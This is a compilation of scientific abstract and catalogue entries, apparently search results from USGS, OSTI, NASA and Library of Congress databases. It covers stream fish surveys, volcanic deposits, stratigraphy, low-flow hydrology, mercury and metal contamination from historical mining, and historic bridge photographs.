The U.S. Geological Survey, in cooperation with Cornell Cooperative Extension of Ulster County, New York State Energy Research and Development Authority, the New York State Department of Environmental Conservation, and the New York City Department of Environmental Protection, surveyed fish communities annually on the main stem and tributaries of the upper Esopus Creek, Ulster County, New York, from 2009 to 2015. This report summarizes the density, biomass, and size structure of rainbow trout (Oncorhynchus mykiss) and brown trout (Salmo trutta) populations from the 2015 surveys along with data from the preceding 6 years. The mean density of rainbow trout populations in 2015 was 98 fish per 0.1 hectare, which was the highest value observed since 2010, and the mean biomass of rainbow trout populations in 2015 was 864 grams per 0.1 hectare, which was the highest value observed since 2012.

Postglacial volcanic deposits at Glacier Peak, Washington, and potential hazards from future eruptions; a preliminary report

USGS Publications Warehouse

Beget, J.E.

1982-01-01

Eruptions and other geologic events at Glacier Peak volcano in northern Washington have repeatedly affected areas near the volcano as well as areas far downwind and downstream. This report describes the evidence of this activity preserved in deposits on the west and east flanks of the volcano. On the west side of Glacier Peak the oldest postglacial deposit is a large, clayey mudflow which traveled at least 35 km down the White Chuck River valley sometime after 14,000 years ago. Subsequent large explosive eruptions produced lahars and at least 10 pyroclastic-flow deposits, including a semiwelded vitric tuff in the White Chuck River valley. These deposits, known collectively as the White Chuck assemblage, form a valley fill which is locally preserved as far as 100 km downstream from the volcano in the Stillaguamish River valley. At least some of the assemblage is about 11,670-11,500 radiocarbon years old. A small clayey lahar, containing reworked blocks of the vitric tuff, subsequently traveled at least 15 km down the White Chuck River. This lahar is overlain by lake sediments containing charred wood which is about 5,500 years old. A 150-m-thick assemblage of pyroclastic-flow deposits and lahars, called the Kennedy Creek assemblage, is in part about 5,500-5,100 radiocarbon years old. Lithic lahars from this assemblage extend at least 100 km downstream in the Skagit River drainage. The younger lahar assemblages, each containing at least three lahars and reaching at least 18 km downstream from Glacier Peak in the White Chuck River valley, are about 2,800 and 1,800 years old, respectively. These are postdated by a lahar containing abundant oxyhornblende dacite, which extends at least 30 km to the Sauk River. A still younger lahar assemblage that contains at least five lahars, and that also extends at least 30 km to the Sauk River, is older than a mature forest growing on its surface. At least one lahar and a flood deposit form a low terrace at the confluence of the White Chuck and Sauk Rivers, and were deposited before 300 years ago, but more recently than about 1,800 years ago. Several small outburst floods, including one in 1975, have affected Kennedy and Baekos Creek and the upper White Chuck River in the last hundred years. East of Glacier Peak the oldest postglacial deposits consist of ash-cloud deposits that underlie tephra erupted by Glacier Peak between 12,750 and 11,250 radiocarbon years ago. Although pyroclastic-flow deposits correlative with the ash-cloud deposits have not been recognized, late Pleistocene pumiceous lahars extend at least 50 km downstream in the Suiattle River valley. A younger clayey mudflow extends at least 6 km down Dusty Creek. This lahar is overlain by deposits of lithic pyroclastic flows and lahars that form the Dusty assemblage. This assemblage is at least 300 m thick in the upper valleys of Dusty and Chocolate Creeks, and contains more than 10 km3 of lithic debris. Lahars derived from the Dusty assemblage extend at least 100 km down the Skagit River valley from Glacier Peak. This assemblage is younger than tephra layer 0 from Mount Mazama, and older than tephra layer Yn from Mount St. Helens, and thus was formed between about 7,000 and 3,400 years ago. The Dusty assemblage may have been formed at the same time as the Kennedy Creek assemblage. A 100-m-thick assemblage of pyroclastic flows and lahars preserved in the Chocolate Creek valley is about 1,800 radiocarbon years old. A clayey lahar in the upper Chocolate Creek valley extended at least 2 km downvalley after 1,800 years ago, but before pyroclastic flows and lahars were deposited in upper Chocolate Creek 1,100 radiocarbon years ago. Several clayey lahars in the Dusty Creek valley east of Glacier Peak are also about 1,100 years old. A lahar in the valley of Dusty Creek, which contains rare prismatically jointed blocks of vesiculated dacite, and a white ash that is locally as much as 50 cm thick may be the products of small

Alder Establishment and Channel Dynamics in a Tributary of the South Fork Eel River, Mendocino County, California

Treesearch

William J. Trush; Edward C. Connor; Knight Alan W.

1989-01-01

Riparian communities established along Elder Creek, a tributary of the upper South Fork Eel River, are bounded by two frequencies of periodic flooding. The upper limit for the riparian zone occurs at bankfull stage. The lower riparian limit is associated with a more frequent stage height, called the active channel, having an exceedance probability of 11 percent on a...

Stratigraphy of the Silurian outcrop belt on the east side of the Cincinnati Arch in Kentucky, with revisions in the nomenclature

USGS Publications Warehouse

McDowell, Robert C.

1983-01-01

Silurian rocks form a narrow arcuate outcrop belt about 100 mi long on the east side of the Cincinnati Arch in Kentucky. They range from as much as 300 ft thick in the north to a pinchout edge in the south. The nomenclature of this sequence is revised to reflect mappability and lithologic uniformity on the basis of detailed mapping at a scale of 1:24,000 by the U.S. Geological Survey in cooperation with the Kentucky Geological Survey. The Silurian rocks are divided into two parts: the Crab Orchard Group, raised in rank from Crab Orchard Formation and redefined, in the lower part of the Silurian section, and Bisher Dolomite in the upper part of the section. The Crab Orchard Group is subdivided into the Drowning Creek Formation (new name) at the base of the Silurian, overlain by the Alger Shale (adopted herein) south of Fleming County and by the Estill Shale (elevated to formational rank) north of Bath County. The Brassfield Member (reduced in rank from Brassfield Dolomite or Formation) and the Plum Creek Shale and Oldham Members of the former Crab Orchard Formation are included as members of the Drowning Creek; the Lulbegrud Shale, Waco, and Estill Shale Members of the former Crab Orchard Formation are now included in the Alger. The Drowning Creek Formation, 20 to 50 ft thick, is composed mainly of gray fine to coarse-grained dolomite with shale interbeds. The dolomite beds average several inches thick, with bedding surfaces that are locally smooth but generally irregular and are fossiliferous in many places; fossils include brachiopods, crinoid columnals, horn corals, colonial corals, trilobites, pelecypods, and bryozoans. The shale interbeds average several inches thick, except for its Plum Creek Shale Member which is entirely shale and as much as 12 ft thick, and are most abundant in the upper half of the formation. The members of the Drowning Creek intergrade and are indistinguishable in the northern part of the area. The Alger Shale, as much as 170 feet thick, is predominantly grayish-green clay shale with a thin (0.5-3 ft) dolomite member (the Waco, or its northern equivalent, the Dayton Dolomite Member, reduced in rank from Dayton Limestone) near the base. North of Bath County, the Lulbegrud Shale and Dayton Dolomite Members are reassigned to the underlying Drowning Creek Formation, the Estill Shale Member is elevated to formational status, and the Alger is dropped. The Bisher Dolomite, which overlies the Estill Shale in the northernmost part of the Silurian belt, ranges from 0 to 300 ft in thickness and is composed of medium-to coarse-grained, gray, fossiliferous dolomite. The Silurian section overlies Upper Ordovician rocks in apparent conformity, although faunal studies suggest a minor hiatus, and is overlain by Middle to Upper Devonian rocks in a regional angular unconformity that truncates the entire Silurian section at the southwest end of the outcrop belt, where it is nearest the axis of the Cincinnati Arch. All of the units recognized in the Silurian appear to thicken eastward, away from the axis of the arch and towards the Appalachian basin. This, with the presence of isolated remnants of the Brassfield near the axis, suggest that formation of the arch was initiated in Early Silurian time by subsidence of its eastern flank.

Low-flow characteristics and profiles for the Rocky River in the Yadkin-Pee Dee River basin, North Carolina, through 2002

USGS Publications Warehouse

Weaver, J. Curtis; Fine, Jason M.

2003-01-01

An understanding of the magnitude and frequency of low-flow discharges is an important part of protecting surface-water resources and planning for municipal and industrial economic expansion. Low-flow characteristics are summarized for 12 continuous-record gaging stations and 44 partial-record measuring sites in the Rocky River basin in North Carolina. Records of discharge collected through the 2002 water year at continuous-record gaging stations and through the 2001 water year at partial-record measuring sites were used. Flow characteristics included in the summary are (1) average annual unit flow; (2) 7Q10 low-flow discharge, the minimum average discharge for a 7-consecutive-day period occurring, on average, once in 10 years; (3) 30Q2 low-flow discharge; (4) W7Q10 low-flow discharge, which is similar to 7Q10 discharge but is based only on flow during the winter months of November through March; and (5) 7Q2 low-flow discharge. The Rocky River basin drains 1,413 square miles (mi2) of the southern Piedmont Province in North Carolina. The Rocky River is about 91 miles long and merges with the Yadkin River in eastern Stanly County to form the Pee Dee River, which discharges into the Atlantic Ocean in South Carolina. Low-flow characteristics compiled for selected sites in the Rocky River basin indicated that the potential for sustained base flows in the upper half of the basin is relatively higher than for streams in the lower half of the basin. The upper half of the basin is underlain by the Charlotte Belt, where streams have been identified as having moderate potentials for sustained base flows. In the lower half of the basin, many streams were noted as having little to no potential for sustained base flows. Much of the decrease in base-flow potential is attributed to the underlying rock types of the Carolina Slate Belt. Of the 19 sites in the basin having minimal (defined as less than 0.05 cubic foot per second) or zero 7Q10 discharges, 18 sites are located in the lower half of the basin underlain by the Carolina Slate Belt. Assessment of these 18 sites indicates that streams that have drainage areas less than about 25 square miles are likely to have minimal or zero 7Q10 discharges. No drainage-area threshold for minimal or zero 7Q10 discharges was identified for the upper half of the basin, which is underlain by the Charlotte Belt. Tributaries to the Rocky River include the West Branch Rocky River (22.8 mi2), Clarke Creek (28.2 mi2), Mallard Creek (41.2 mi2), Coddle Creek (78.8 mi2), Reedy Creek (43.0 mi2), Irish Buffalo/Coldwater Creeks (110 mi2), Dutch Buffalo Creek (99 mi2), Long Creek (200 mi2), Richardson Creek (234 mi2), and Lanes Creek (135 mi2). In the 20-mile reach upstream from the mouth (about 22 percent of the river length), the drainage area increases by 648 mi2, or about 46 percent of the total drainage area as a result of the confluences with Long Creek, Richardson Creek, and Lanes Creek. Low-flow discharge profiles for the Rocky River include 7Q10, 30Q2, W7Q10, and 7Q2 discharges in a continuous profile with contributions from major tributaries included. At the gaging stations above Irish Buffalo Creek and near Stanfield, the 7Q10 discharges are 25.2 and 42.3 cubic feet per second, corresponding to 0.09 and 0.07 cubic feet per second per square mile, respectively. At the gaging station near Norwood, the 7Q10 discharge is 45.8 cubic feet per second, equivalent to 0.03 cubic foot per second per square mile. Low-flow discharge profiles reflect the presence of several major flow diversions in the reaches upstream from Stanfield and an apparent losing reach between the continuous-record gaging stations near Stanfield and Norwood, North Carolina.

Mercury and methylmercury related to historical mercury mining in three tributaries to Lake Berryessa, Putah Creek Watershed, California

NASA Astrophysics Data System (ADS)

Sparks, G. C.; Horner, T.; Cornwell, K.; Izzo, V.; Alpers, C. N.

2014-12-01

This study examined the relative contribution of total mercury (THg) and mono-methylmercury (MMHg) from upstream historical mercury-mining districts to Lake Berryessa, a reservoir with impaired water quality because of mercury. The third and fourth largest historical mercury-producing mining districts in California are within Lake Berryessa's three largest tributary watersheds: Pope, (Upper) Putah, and Knoxville-Eticuera Creeks. Downstream of the reservoir, Putah Creek drains into the Yolo Bypass, a major source of THg and MMHg to the Sacramento-San Joaquin Delta. Water samples were collected from October 2012 to May 2014 during 37 non-storm and 8 storm events along Pope, (Upper) Putah, and Knoxville-Eticuera Creeks and analyzed for field parameters (temperature, pH, specific conductance, dissolved oxygen, and turbidity). Additionally, water samples collected during five of the non-storm and storm events were analyzed for unfiltered THg and MMHg and total suspended solids (TSS). Discharge was measured during sampling to calculate instantaneous loads. More than 120 streambed sediment samples were collected to determine the spatial variation of THg and organic carbon content (loss on ignition). Across the watersheds, unfiltered THg (in water) samples ranged from 2.3 to 125 ng/L and unfiltered MMHg (in water) samples from 0.12 to 1.0 ng/L. Concentrations of THg ranged from less than 0.0001 to 122 mg/kg in streambed sediment. Tributary reaches with elevated mercury concentrations ("hot spots") are near or downstream of historical mercury mines and have: (1) strong positive correlations between THg (in water) or MMHg (in water) and TSS (R2> 0.88, n=5); (2) higher instantaneous loads of suspended sediment, THg and MMHg than reaches with low THg and MMHg concentrations; and (3) elevated sediment organic carbon content. Tributary reaches with weaker correlations among THg, MMHg, and TSS in unfiltered water may reflect non-mining sources of dissolved THg and MMHg, such as geothermal springs and groundwater influx from shallow aquifers. The importance of suspended particulate matter relative to THg and MMHg transport in the most contaminated stream reaches indicates that erosion control is likely to be a critical factor in successful remediation efforts in the Upper Putah Creek watershed.

Grande Ronde Endemic Spring Chinook Salmon Supplementation Program: Facility Operation and Maintenance and Monitoring and Evaluation, 2000 Annual Report.

DOE Office of Scientific and Technical Information (OSTI.GOV)

Boe, Stephen J.; Lofy, Peter T.

2003-03-01

This is the third annual report of a multi-year project to operate adult collection and juvenile acclimation facilities on Catherine Creek and the upper Grande Ronde River for Snake River spring chinook salmon. These two streams have historically supported populations that provided significant tribal and non-tribal fisheries. Supplementation using conventional and captive broodstock techniques is being used to restore fisheries in these streams. Statement of Work Objectives for 2000: (1) Participate in implementation of the comprehensive multiyear operations plan for the Grande Ronde Endemic Spring Chinook Supplementation Program (GRESCP). (2) Plan for recovery of endemic summer steelhead populations in Catherinemore » Creek and the upper Grande Ronde River. (3) Ensure proper construction and trial operation of semi-permanent adult and juvenile facilities for use in 2000. (4) Collect summer steelhead. (5) Collect adult endemic spring chinook salmon broodstock. (6) Acclimate juvenile spring chinook salmon prior to release into the upper Grande Ronde River and Catherine Creek. (7) Document accomplishments and needs to permitters, comanagers, and funding agency. (8) Communicate project results to the scientific community. (9) Plan detailed GRESCP Monitoring and Evaluation for future years. (10) Monitor adult population abundance and characteristics of Grande Ronde River spring chinook salmon populations and incidentally-caught summer steelhead and bull trout. (11) Monitor condition, movement, and mortality of spring chinook salmon acclimated at remote facilities. (12) Monitor water quality at facilities. (13) Participate in Monitoring & Evaluation of the captive brood component of the Program to document contribution to the Program.« less

Mercury and Methylmercury Related to Historical Mercury Mining in Three Major Tributaries to Lake Berryessa, Upper Putah Creek Watershed, California

NASA Astrophysics Data System (ADS)

Sparks, G. C.; Alpers, C. N.; Horner, T. C.; Cornwell, K.; Izzo, V.

2016-12-01

The relative contributions of total mercury (THg) and methylmercury (MeHg) from upstream historical mercury (Hg) mining districts were examined in the three largest tributaries to Lake Berryessa, a reservoir with water quality impaired by Hg. A fish consumption advisory has been issued for the reservoir; also, in a study of piscivorous birds at 25 California reservoirs, blood samples from Lake Berryessa grebes had the highest THg concentration state-wide. The third and fourth largest historical Hg-producing mining districts in California are within the study area. These mining districts are located within the Pope Creek, Upper Putah Creek, and Knoxville-Eticuera Creeks watersheds. Downstream of the reservoir, Lower Putah Creek drains into the Yolo Bypass, a major source of THg and MeHg to the Sacramento-San Joaquin Delta. Study objectives included: (1) determining if tributaries downstream of historical Hg mining districts and draining to the reservoir are continuing sources of THg and MeHg; (2) characterizing variability of water and streambed sediment parameters in upstream and downstream reaches of each creek; and (3) estimating loads of suspended sediment, THg, and MeHg entering the reservoir from each tributary. Water samples were collected from October 2012 to September 2014 during non-storm and storm events along each tributary and analyzed for general water quality field parameters; unfiltered THg and MeHg; total suspended solids; and total particulate matter. Discharge measurements were made at the time of sample collection; flow and concentration data were combined to compute daily loads. To determine spatial variability, 135 streambed sediment samples were analyzed for THg, organic content (loss on ignition), and grain-size distribution. All three tributaries contribute THg and MeHg to the reservoir. Some consistent spatial trends in THg (water) concentrations were observed over multiple sampling events; THg (water) decreased from upstream to downstream in all three tributaries. Tributary reaches with elevated THg in streambed sediment ("Hg hot spots") are near or downstream from historical Hg mines and Hg-enriched ore deposits. Future Hg load and cycling studies are needed to identify practical remediation approaches for decreasing THg and MeHg loads to Lake Berryessa.

Spatial distribution of chemical constituents in the Kuskokwim River, Alaska

USGS Publications Warehouse

Wang, Bronwen

1999-01-01

The effects of lithologic changes on the water quality of the Kuskokwim River, Alaska, were evaluated by the U.S. Geological Survey in June 1997. Water, suspended sediments, and bed sediments were sampled from the Kusko-kwim River and from three tributaries, the Holitna River, Red Devil Creek, and Crooked Creek. Dissolved boron, chromium, copper, manganese, zinc, aluminum, lithium, barium, iron, antimony, arsenic, mercury, and strontium were detected. Dissolved manganese and iron concentrations were three and four times higher in the Holitna River than in the Kusko-kwim River. Finely divided ferruginous materials found in the graywacke and shale units of the Kuskokwim Group are the probable source of the iron. The highest concentrations of dissolved strontium and barium were found at McGrath, and the limestone present in the upper basin was the most probable source of strontium. The total mercury concentrations on the Kuskokwim River decreased downstream from McGrath. Dissolved mercury was 24 to 32 percent of the total concentration. The highest concentrations of total mercury, and of dissolved antimony and arsenic were found in Red Devil Creek. The higher concentrations from Red Devil Creek did not affect the main stem mercury transport because the tributary was small relative to the Kuskokwim River. In Red Devil Creek, total mercury exceeded the concentration at which the U.S. Environmental Protection Agency (USEPA) indicates that aquatic life is affected and dissolved arsenic exceeded the USEPA's drinking-water standard. Background mercury and antimony concentrations in bed sediments ranged from 0.09 to 0.15 micrograms per gram for mercury and from 1.6 to 2.1 micrograms per gram for antimony. Background arsenic concentrations were greater than 27 micrograms per gram. Sites near the Red Devil mercury mine had mercury and antimony concentrations greater than background concentrations. These concentrations probably reflect the proximity to the ore body and past mining. Crooked Creek had mercury concentrations greater than the background concentration. The transport of suspended sediment-associated trace elements was lower for all elements in the lower river than in the upper river, indicating storage of sediments and their associated metals within the river system.

5. DETAIL VIEW OF TWO PANEL POINTS OF TRUSS, SHOWING ...

Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey

5. DETAIL VIEW OF TWO PANEL POINTS OF TRUSS, SHOWING OVAL, TUBULAR UPPER CHORD MEMBER, VERTICALS, DIAGONALS, AND LOWER CHORD. - White Bowstring Arch Truss Bridge, Spanning Yellow Creek at Cemetery Drive (Riverside Drive), Poland, Mahoning County, OH

6. DETAIL VIEW OF SINGLE PANEL POINTS TAKEN FROM BRIDGE ...

Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey

6. DETAIL VIEW OF SINGLE PANEL POINTS TAKEN FROM BRIDGE DECK, SHOWING CONNECTION BETWEEN VERTICAL AND UPPER CHORD MEMBER. - White Bowstring Arch Truss Bridge, Spanning Yellow Creek at Cemetery Drive (Riverside Drive), Poland, Mahoning County, OH

Stratigraphic comparison of six oil fields (WV) producing from Big Injun sandstones

DOE Office of Scientific and Technical Information (OSTI.GOV)

Zou, X.; Donaldson, A.C.

1993-08-01

Clustered within western West Virginia, six oil fields produce from the lower Mississippian Big Injun sandstones, and three more oil fields also supplement this production either from underlying Squaw or Weir sandstones. Shales separate these sandstones that occur stratigraphically between the Sunbury Shale (maximum flooding surface) and pre-Greenbrier unconformity (maximum regressive erosional surface), and represent highstand regressive deposits associated with the postorogenic phase of foreland basin accumulation. Stratigraphic studies show two Big Injun sandstones. The upper sandstone, called the Maccrady Big Injun, is separated from the lower Price/Pocono Big Injun sandstone by red shales. Both Big Injun sandstones consist ofmore » fine-grained river-mouth bars capped by coarse-grained river-channel deposits. Although the six fields are within three adjacent counties, Maccrady Big Injun sandstones of Blue Creek (Kanawha) and Rock Creek (Roane) fields are younger and were deposited by a different fluvial-deltaic system than the Price/Pocono Big Injun sandstones of Granny Creek (Clay), Tariff (Roane) Clendenin (Clay), and Pond Fork (Kanawha) fields. Upper Weir sandstones are thick, narrow north-trending belts underlying Pond Fork and Blue Creek fields, with properties suggesting wave-dominated shoreline deposits. Allocycles spanning separate drainage systems indicate eustasy. Postorogenic flexural adjustments probably explain stacked sandstone belts with superposed paleovalleys of overlying unconformities (pre-Greenbrier, Pottsville), particularly where aligned along or parallel basement structures of Rome trough or West Virginia dome. Initially, differential subsidence or uplift during sedimentation influenced the position, geometry, trend, and distribution patterns of these reservoir sandstone, then influenced their preserved condition during erosion of pre-Greenbrier unconformity.« less

The petrology, structure and geochemistry of an Archean terrane in the North Snowy Block, Beartooth Mountains, Montana

NASA Astrophysics Data System (ADS)

Mogk, D. W.

1984-12-01

Six major rock units in the North Snowy Block in an Archean mobile belt are recognized between all units representing discontinuities in metamorphic grade, structural style, geochemistry, and isotopic ages. Four of the units occur in NE trending linear belts; the Basement Gneiss; the phyllitic Davis Creek Schist; the mount cowen augen gneis; the Paragneiss unit. Overlying the linear units is the 3.2 Ga old Pine Creek Nappe Complex, an isoclinally folded, middle to upper amphibolite facies, thrust nappe consisting of the Barney Creek Amphibolite, George Lake Marble and Jewel Quartzite. The highest structural units, including a thick sequence of upper amphibolite grade supracrustal rocks and a lower section of injected 3.4 Ga old granitic to tonalitic migmatitic rocks were emplaced on the Columbine Thrust. It is shown that there was secular variation in tectonic style in the Archean of southwest Montana. Three stages are recognized: (1) melting of ancient matic crust produced trondhjemitic continental nuclei; (2) numerous ensialic basins were created and destroyed, resulting in high grade metamorphism and mignatization of supracrustal rocks; and (3) contemporary style plate tectonics resulted in generation of large volumes of andesities and calc-alkaline granitic rocks, transcurrent faulting, and thrust faulting.

Geochemistry of Mine Waste and Mill Tailings, Meadow Deposits, Streambed Sediment, and General Hydrology and Water Quality for the Frohner Meadows Area, Upper Lump Gulch, Jefferson County, Montana

USGS Publications Warehouse

Klein, Terry L.; Cannon, Michael R.; Fey, David L.

2004-01-01

Frohner Meadows, an area of low-topographic gradient subalpine ponds and wetlands in glaciated terrane near the headwaters of Lump Gulch (a tributary of Prickly Pear Creek), is located about 15 miles west of the town of Clancy, Montana, in the Helena National Forest. Mining and ore treatment of lead-zinc-silver veins in granitic rocks of the Boulder batholith over the last 120 years from two sites (Frohner mine and the Nellie Grant mine) has resulted in accumulations of mine waste and mill tailings that have been distributed downslope and downstream by anthropogenic and natural processes. This report presents the results of an investigation of the geochemistry of the wetlands, streams, and unconsolidated-sediment deposits and the hydrology, hydrogeology, and water quality of the area affected by these sources of ore-related metals. Ground water sampled from most shallow wells in the meadow system contained high concentrations of arsenic, exceeding the Montana numeric water-quality standard for human health. Transport of cadmium and zinc in ground water is indicated at one site near Nellie Grant Creek based on water-quality data from one well near the creek. Mill tailings deposited in upper Frohner Meadow contribute large arsenic loads to Frohner Meadows Creek; Nellie Grant Creek contributes large arsenic, cadmium, and zinc loads to upper Frohner Meadows. Concentrations of total-recoverable cadmium, copper, lead, and zinc in most surface-water sites downstream from the Nellie Grant mine area exceeded Montana aquatic-life standards. Nearly all samples of surface water and ground water had neutral to slightly alkaline pH values. Concentrations of arsenic, cadmium, lead, and zinc in streambed sediment in the entire meadow below the mine waste and mill tailings accumulations are highly enriched relative to regional watershed-background concentrations and exceed consensus-based, probable-effects concentrations for streambed sediment at most sites. Cadmium, copper, and zinc typically are adsorbed to the surface coatings of streambed-sediment grains. Mine waste and mill tailings contain high concentrations of arsenic, cadmium, copper, lead, and zinc in a quartz-rich matrix. Most of the waste sites that were sampled had low acid-generating capacity, although one site (fine-grained mill tailings from the Nellie Grant mine deposited in the upper part of lower Frohner Meadows) had extremely high acid-generating potential because of abundant fine-grained pyrite. Two distinct sites were identified as metal sources based on streambed-sediment samples, cores in the meadow substrate, and mine and mill-tailings samples. The Frohner mine and mill site contribute material rich in arsenic and lead; similar material from the Nellie Grant mine and mill site is rich in cadmium and zinc.

Stratigraphy of mid-Cretaceous formations at drilling sites in Weston and Johnson counties, northeastern Wyoming

USGS Publications Warehouse

Mereweather, E.A.

1980-01-01

The sedimentary rocks of early Late Cretaceous age in Weston County, Wyo., on the east flank of the Powder River Basin, are assigned, in ascending order, to the Belle Fourche Shale, Greenhorn Formation, and Carlile Shale. In Johnson County, on the west flank of the basin, the lower Upper Cretaceous strata are included in the Frontier Formation and the overlying Cody Shale. The Frontier Formation and some of the laterally equivalent strata in the Rocky Mountain region contain major resources of oil and gas. These rocks also include commercial deposits of bentonite. Outcrop sections, borehole logs, and core studies of the lower Upper Cretaceous rocks near Osage, in Weston County, and Kaycee, in Johnson County, supplement comparative studies of the fossils in the formations. Fossils of Cenomanian, Turonian, and Coniacian Age are abundant at these localities and form sequences of species which can be used for the zonation and correlation of strata throughout the region. The Belle Fourche Shale near Osage is about 115 m (meters) thick and consists mainly of noncalcareous shale, which was deposited in offshore-marine environments during Cenomanian time. These strata are overlain by calcareous shale and limestone of the Greenhorn Formation. In this area, the Greenhorn is about 85 m thick and accumulated in offshore, open-marine environments during the Cenomanian and early Turonian. The Carlile Shale overlies the Greenhorn and is composed of, from oldest to youngest, the Pool Creek Member, Turner Sandy Member, and Sage Breaks Member. In boreholes, the Pool Creek Member is about 23 m thick and consists largely of shale. The member was deposited in offshoremarine environments in Turonian time. These rocks are disconformably overlain by the Turner Sandy Member, a sequence about 50 m thick of interstratified shale, siltstone, and sandstone. The Turner accumulated during the Turonian in several shallow-marine environments. Conformably overlying the Turner is the slightly calcareous shale of the Sage Breaks Member, which is about 91 m thick. The Sage Breaks was deposited mostly during Coniacian time in offshore-marine environments. In Johnson County, the Frontier Formation consists of the Belle Fourche Member and the overlying Wall Creek Member, and is overlain by the Sage Breaks Member of the Cody Shale. Near Kaycee, the Belle Fourche Member is about 225 m thick and is composed mostly of interstratified shale, siltstone, and sandstone. These strata are mainly of Cenomanian age and were deposited largely in shallow-marine environments. In this area, the Belle Fourche Member is disconformably overlain by the Wall Creek Member, which is about 30 m thick and grades from interlaminated shale and siltstone at the base of the member to sandstone at the top. The Wall Creek accumulated during Turonian time in shallowmarine environments. These beds are overlain by the Sage Breaks Member of the Cody. Near Kaycee, the Sage Breaks is about 65 m thick and consists mainly of shale which was deposited in offshoremarine environments during Turonian and Coniacian time. Lower Upper Cretaceous formations on the east side of the Powder River Basin can be compared with strata of the same age on the west side of the basin. The Belle Fourche Shale at Osage is represented near Kaycee by most of the Belle Fourche Member of the Frontier. The Greenhorn at Osage contrasts with beds of similar age in the Belle Fourche at Kaycee. An upper part of the Greenhorn Formation, the Pool Creek Member of the Carlile Shale, and the basal beds of the Turner Sandy Member of the Carlile, in Weston County, are represented by a disconformity at the base of the Wall Creek Member of the Frontier in southern Johnson County. A middle part of the Turner in the vicinity of Osage is the same age as the Wall Creek Member near Kaycee. A sequence of beds in the upper part of the Turner and in the overlying Sage Breaks in Weston County is the same age as most of the Sage Breaks M

Long-Distance Free Fall

NASA Astrophysics Data System (ADS)

Gallant, Joseph

1999-04-01

One of the goals of physics education is to instill a sense of wonder in our students. We hope our natural curiosity will rub off on them and that they will apply the critical thinking skills we teach them to other aspects of their lives outside the classroom. As an example of this, consider the situation described in Milton's epic poem ``Paradise Lost''. Milton wrote that when the devil was cast out of heaven, he fell for nine days before landing in hell. In Milton's universe, hell is a separate place from Earth, but many people place hell at the center of the Earth. Based on these ideas, we can apply Newton's laws of motion to calculate the distance from heaven to Earth. This exercise is an example of the kind of intellectual exercise a physicist (or a physics student) might carry out when confronted with such information. We apply the basic principles of physics to a situation described in work of literature while making no attempt to validate or refute any philosophy, theology or ideology.

45. VIEW OF UPPER LEVEL CRUSHER ADDITION FROM CRUSHED OXIDIZED ...

Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey

45. VIEW OF UPPER LEVEL CRUSHER ADDITION FROM CRUSHED OXIDIZED ORE BIN. 18 INCH BELT CONVEYOR BIN FEED, LOWER CENTER, WITH STEPHENS-ADAMSON 25 TON/HR ELEVATOR SPLIT DISCHARGE (OXIDIZED/UNOXIDIZED) IN CENTER. CRUDE ORE BINS AND MACHINE SHOP BEYOND. NOTE TOP OF CRUSHED OXIDIZED ORE BIN IS BELOW TOP OF CRUDE ORE BINS. - Bald Mountain Gold Mill, Nevada Gulch at head of False Bottom Creek, Lead, Lawrence County, SD

Precipitation-Runoff Modeling System (PRMS) and Streamflow Response to Spatially Distributed Precipitation in Two Large Watersheds in Northern California

NASA Astrophysics Data System (ADS)

Dhakal, A. S.; Adera, S.; Niswonger, R. G.; Gardner, M.

2016-12-01

The ability of the Precipitation-Runoff Modeling System (PRMS) to predict peak intensity, peak timing, base flow, and volume of streamflow was examined in Arroyo Hondo (180 km2) and Upper Alameda Creek (85 km2), two sub-watersheds of the Alameda Creek watershed in Northern California. Rainfall-runoff volume ratios vary widely, and can exceed 0.85 during mid-winter flashy rainstorm events. Due to dry antecedent soil moisture conditions, the first storms of the hydrologic year often produce smaller rainfall-runoff volume ratios. Runoff response in this watershed is highly hysteretic; large precipitation events are required to generate runoff following a 4-week period without precipitation. After about 150 mm of cumulative rainfall, streamflow responds quickly to subsequent storms, with variations depending on rainstorm intensity. Inputs to PRMS included precipitation, temperature, topography, vegetation, soils, and land cover data. The data was prepared for input into PRMS using a suite of data processing Python scripts written by the Desert Research Institute and U.S. Geological Survey. PRMS was calibrated by comparing simulated streamflow to measured streamflow at a daily time step during the period 1995 - 2014. The PRMS model is being used to better understand the different patterns of streamflow observed in the Alameda Creek watershed. Although Arroyo Hondo receives more rainfall than Upper Alameda Creek, it is not clear whether the differences in streamflow patterns are a result of differences in rainfall or other variables, such as geology, slope and aspect. We investigate the ability of PRMS to simulate daily streamflow in the two sub-watersheds for a variety of antecedent soil moisture conditions and rainfall intensities. After successful simulation of watershed runoff processes, the model will be expanded using GSFLOW to simulate integrated surface water and groundwater to support water resources planning and management in the Alameda Creek watershed.

Geochemical and isotopic evidence for paleoredox conditions during deposition of the Devonian-Mississippian New Albany Shale, southern Indiana

NASA Technical Reports Server (NTRS)

Beier, J. A.; Hayes, J. M.

1989-01-01

The upper part of the New Albany Shale is divided into three members. In ascending order, these are (1) the Morgan Trail Member, a laminated brownish-black shale; (2) the Camp Run Member, an interbedded brownish-black and greenish-gray shale; and (3) the Clegg Creek Member, also a laminated brownish-black shale. The Morgan Trail and Camp Run Members contain 5% to 6% total organic carbon (TOC) and 2% sulfide sulfur. Isotopic composition of sulfide in these members ranges from -5.0% to -20.0%. C/S plots indicate linear relationships between abundances of these elements, with a zero intercept characteristic of sediments deposited in a non-euxinic marine environment. Formation of diagenetic pyrite was carbon limited in these members. The Clegg Creek Member contains 10% to 15% TOC and 2% to 6% sulfide sulfur. Isotopic compositions of sulfide range from -5.0% to -40%. The most negative values occur in the uppermost Clegg Creek Member and are characteristic of syngenetic pyrite, formed within an anoxic water column. Abundances of carbon and sulfur are greater and uncorrelated in this member, consistent with deposition in as euxinic environment. In addition, DOP (degree of pyritization) values suggest that formation of pyrite was generally iron limited throughout Clegg Creek deposition, but sulfur isotopes indicate that syngenetic (water-column) pyrite becomes an important component in the sediment only in the upper part of the member. At the top of the Clegg Creek Member, a zone of phosphate nodules and trace-metal enrichment coincides with maximal TOC values. During euxinic deposition, phosphate and trace metals accumulated below the chemocline because of limited vertical circulation in the water column. Increased productivity would have resulted in an increased flux of particulate organic matter to the sediment, providing an effective sink for trace metals in the water column. Phosphate and trace metals released from organic matter during early diagenesis resulted in precipitation of metal-rich phosphate nodules.

Investigating uranium distribution in surface sediments and waters: a case study of contamination from the Juniper Uranium Mine, Stanislaus National Forest, CA.

PubMed

